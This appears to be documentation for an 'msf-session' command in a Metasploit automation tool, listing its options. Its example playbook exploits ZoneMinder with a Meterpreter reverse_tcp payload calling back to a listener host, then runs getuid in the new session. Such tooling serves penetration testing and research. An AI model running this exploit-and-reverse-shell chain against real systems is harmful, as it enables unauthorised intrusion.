msf-session

This command allows to read and write commands to (Meterpreter)sessions that have previously created by msf-modules(see msf-module).

commands:
  - type: msf-module
     cmd: exploit/unix/webapp/zoneminder_snapshots
     creates_session: "foothold"
     options:
       RHOSTS: 192.42.0.254
     payload_options:
       LHOST: 192.42.2.253
     payload: cmd/unix/python/meterpreter/reverse_tcp

  - type: msf-session
    session: "foothold"
    stdapi: True
    cmd: getuid

Note

To configure the connection to the msfrpc-server see msf_config

stdapi

Load stdapi module in the Meterpreter-session.

Type:

bool

Default:

False

write

Execute a raw write-operation without reading the output.

Note

If read and write are both true, the programm will first write and then read.

Type:

bool

Default:

False

read

Execute a raw read-operation without a write-operation.

Type:

bool

Default:

False

session

Use this session for all operations.

Type:

str

Required:

True

end_str

This string indicated the end of a read-operation.

Type:

str